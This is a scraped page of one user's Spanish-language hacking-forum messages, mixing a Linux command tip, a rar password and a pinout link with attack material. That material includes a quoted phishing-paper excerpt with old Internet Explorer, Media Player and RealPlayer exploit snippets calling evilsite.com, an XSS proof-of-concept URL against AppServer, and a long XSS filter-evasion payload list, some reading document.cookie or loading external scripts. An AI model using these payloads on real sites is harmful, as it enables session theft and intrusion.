Mensajes

Hola:
Buen tutorial, pero corrigo una tontera.

Cd /nombre directorio/- Cambia al directorio señalado
Cp /origen/ /destino/- Copia el archivo especificado
Mkdir /dirección/- Crea un directorio donde le especifiquemos
Mv /origen/ /destino/- Mueve el archivo donde le digamos
Ls- Lista del contenido del directorio en el que nos encontremos
Cat- Se utiliza para ver el contenido de un archivo

Los comandos van en minúsculas

Saludos.

[Karcrack]

Hola a tod@s:

Karcrack es password del *.rar es fire no Fire.

Saludos.

[2.3.7. Client-side Vulnerabilities]

Hola:
Lo siguiente fue extraido de un texto sobre phishing de NISR-WP
NGSSoftware Insight Security Research Page 19 of 42 http://www.ngsconsulting.com
2.3.7. Client-side Vulnerabilities
The sophisticated browsers customers use to surf the web, just like any other commercial piece of software, are often vulnerable to a myriad of attacks. The more functionality built into the browser, the more likely their exists a vulnerability that could be exploited by an attacker to gain access to, or otherwise observe, confidential information of the customer.
While software vendors have made great strides in methods of rolling out software updates and patches, home users are notoriously poor in applying them. This, combined with the ability to install add-ons (such as Flash, RealPlayer and other embedded applications) means that there are many opportunities for attack.
Similar to the threat posed by some of the nastier viruses and automated worms, these vulnerabilities can be exploited in a number of ways. However, unlike worms and viruses, many of the attacks cannot be stopped by anti-virus software as they are often much harder to detect and consequently prevent (i.e. the stage in which the antivirus product is triggered, is usually after the exploitation and typically only if the attacker tries to install a well known Backdoor Trojan or key-logger utility).

Example 1: Microsoft Internet Explorer URL Mishandling
By inserting a character (in this case 0x01 – represented as the escape encoded sequence %01) within the username section of the Friendly Login URL, a user would be redirected to the attackers server, but characters after the %01 would not be displayed in the browser URL field. Therefore this attack could be used to obfuscate the attackers full URL.

Sample HTML code:
l

Código [Seleccionar] Expandir

ocation.href=unescape('http://www.mybank.com%01@evilsite.com/phishing/fakepage.htm');

Example 2: Microsoft Internet Explorer and Media Player Combination
A vulnerability existed within Microsoft Media Player that was exploitable through java coding with Microsoft Internet Explorer. This vulnerability enabled remote servers to read local customer files, browse directories and finally execution of arbitrary software. Depending upon the software being executed, the attacker had the potential to take control of the customer's computer.
The problem lay with how Media Player downloaded customised skins and stored them. For example:

Código [Seleccionar] Expandir

"C:/Program files/Windows Media Player/Skins/SKIN.WMZ" : <IFRAME
SRC="wmp2.wmz"></IFRAME>
Will download wmp2.wmz and place it in the defined folder. Unfortunately, the file wmp2.wmz may be a java jar archive. Therefore the following applet tag:

Código [Seleccionar] Expandir

<APPLET CODEBASE="file://c:/" ARCHIVE="Program files/Windows Media
Player/SKINS/wmp2.wmz"
CODE="gjavacodebase.class" WIDTH=700 HEIGHT=300>
<PARAM NAME="URL" VALUE="file:///c:/test.txt">
</APPLET>
Will be executed with codebase="file://c:/" and the applet will have read only access to C:\.
To execute this code automatically, all an attacker had to do was get the web browser to open a simple HTML fie such as the one below:

Código [Seleccionar] Expandir

<IFRAME SRC="wmp2.wmz" WIDTH=1 HEIGHT=1></IFRAME>
<SCRIPT>
The Phishing Guide
function f()
{
window.open("wmp7-bad.htm");
}
setTimeout("f()",4000);
</SCRIPT>
Which calls a secondary HTML file (wmp7-bad.htm)
<

Código [Seleccionar] Expandir

APPLET CODEBASE="file://c:/"
ARCHIVE="Program files/Windows Media Player/SKINS/wmp2.wmz"
CODE="gjavacodebase.class"
WIDTH=700 HEIGHT=300>
<PARAM NAME="URL" VALUE="file:///c:/test.txt">
</APPLET>

Example 3: RealPlayer/RealOne Browser Extension Heap Corruption
RealPlayer is the most widely used product for internet media delivery, with in excess of 200 million users worldwide. All popular web browsers offer support for RealPlayer and the automatic playing of media.
By crafting a malformed .RA, .RM, .RV or .RMJ file it possible to cause heap corruption that can lead to execution of an attacker's arbitrary code. By forcing a browser or enticing a user to a website containing such a file, arbitrary attacker supplied code could be automatically executed on the target machine. This code will run in the security context of the logged on user.

Código [Seleccionar] Expandir

<OBJECT ID="RealOneActiveXObject" WIDTH=0 HEIGHT=0 CLASSID="CLSID:FDC7A535-4070-4B92-
A0EA-D9994BCC0DC5"></OBJECT>
// Play a clip and show new status display
function clipPlay() {
window.parent.external.PlayClip(
"rtsp://evilsite.com/hackme.rm",
"Title=Glorious Day|Artist name=Me Alone")
}
More information is available from: http://www.nextgenss.com/advisories/realra.txt

Saludos.

Hola, recomiendo crear el txt primero.
Saludos.

[Sdc]

Sigo sin poder ;(
Comento los pasos:
1)  me dirijo a www.host.org
2)  cargo estigma.js desde la web de Sdc en favoritos.
La pagina principal esta en /home/index.php, entonces:
en mi navegador :

javascript:resSource(); //tb sin punto y coma.
javascript:fleSource("/home/index.php"); //tb home/index.php

en ambos casos se ve la pagina desalineada.

Cual tien que ser el resultado concreto?
Abrir un cuadro de dialogo de descarga con index.php?? (iluso...xD)

MODIFICADO:
Estaba entendiendo mal, solo devuelve los mismo que GET, me crei que iba a ver cosas como:
<?
echo $variable;
?>
xD, perdon..
Saludos.!!!

[Sdc]

Jajaja, muchas gracias Sdc, se me paso por alto xD.

Hace muy poco que estoy experimentando con JaSiLDBG y tiene mucha utilidad, la verdad que tendría que haber muchos posts mas sobre este tema.

Saludos.

[Sdc]

Hola a todos:
Sdc
Cuando quiero usar:
a)
resSource(), el navegador (IE6) comienza a consumir mucha CPU xD.
pero la funcion no hace lo que tiene que hacer.

b)           
fleSource() si el archivo  que esta en /home/index.php
ejecuto (luego de cargar estigma):
javascript:fleSource(/home/index.php); //esta funcion e la original a las demas le cambie las mayusculas por las dudas
javascript:fleSource(home/index.php);
javascript:Flesource(/home/index.php);
javascript:FleSource(/home/index.php);

En fin ninguno funiona y en la parte inferior izqueirda aparece el tringulo amarillo con el signo de exclamacion que indica que no se esta eejcutando correctamente la pagina.

Que hago mal?

Saludos..

[[Primero aca y despues en languaje=us xD]]

[Primero aca y despues en languaje=us xD]
Hola a todos:
Considerando que estos temas ya estan muy bien explicados por varios autores, me voy a limitar al título, lo posteo porque me pareció interesante xD.

En fin:
XSS

Código [Seleccionar] Expandir

http://AppServerHost/index.php?appservlang=>"/<script>alert(/XSS%20on%20AppServer%20By%20G4rBaG3/);</script>

Saludos.

Hola, a lo mejor se pueden estar filtrando algunos caracteres para evitar el XSS.
Una vez alguien del foro que no recuerdo dejo una lista de codigos para SQL injection y me sirvio bastante.
Asi que dejo mi lista para XSS.
Prueba estos:

Código [Seleccionar] Expandir


>"><ScRiPt%20%0a%0d>alert(1446033991)%3B</ScRiPt>
<IMG SRC="javascript:alert('XSS');">
<IMG SRC=javascript:alert('XSS')>
<IMG SRC=&#x22;&#x6A;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;
&#x3A;&#x61;&#x6C;&#x65;&#x72;&#x74;&#x28;&#x27;&#x50;&#x4C;&#x41;&#x59;&#x48;
&#x41;&#x43;&#x4B;&#x2E;&#x4E;&#x45;&#x54;&#x27;&#x29;&#x22;>

<IMG SRC="javascript:alert(String.fromCharCode(88,83,83))">

<SCRIPT/XSS SRC="http://example.com/xss.js"></SCRIPT>

<<SCRIPT>alert("XSS");//<</SCRIPT>

<iframe src=http://example.com/scriptlet.html <

<INPUT TYPE="IMAGE" SRC="javascript:alert('XSS');">

<BODY BACKGROUND="javascript:alert('XSS')">

<BODY ONLOAD=alert(document.cookie)>

<IMG DYNSRC="javascript:alert('XSS')">

<IMG DYNSRC="javascript:alert('XSS')">

<BR SIZE="&{alert('XSS')}">

<IMG SRC='vbscript:msgbox("XSS")'>

<TABLE BACKGROUND="javascript:alert('XSS')">

<DIV STYLE="width: expression(alert('XSS'));">

<DIV STYLE="background-image: url(&#1;javascript:alert('XSS'))">

<STYLE TYPE="text/javascript">alert('XSS');</STYLE>

<STYLE type="text/css">BODY{background:url("javascript:alert('XSS')")}</STYLE>

<?='<SCRIPT>alert("XSS")</SCRIPT>'?>

<A HREF="javascript:document.location='http://www.example.com/'">XSS</A>

···FROM PROVENTIA···

-->//"><script>alert(/XSS%20vulnerability%20proventia%20s0x by Alex Hernandez/);</script>

-->//"><script>alert(document.cookie)</script>

-->//"><script>alert(document.domain)</script>

Saludos.

Buenas.
Tienes que saber como son los pinouts del puerto DB 15 y del usb.
La mejor pagina para mi de pinouts es : pinouts.ru
Lista de conectores: http://pinouts.ru/cgi-bin/list_conn.cgi?class=1

Sobre tu tema encontre algo para que vayas viendo:
http://pinouts.ru/Inputs/GameportPC_pinout.shtml

Seguramente saldra mucho menos en costo.
Espero que oriente.
Saludos.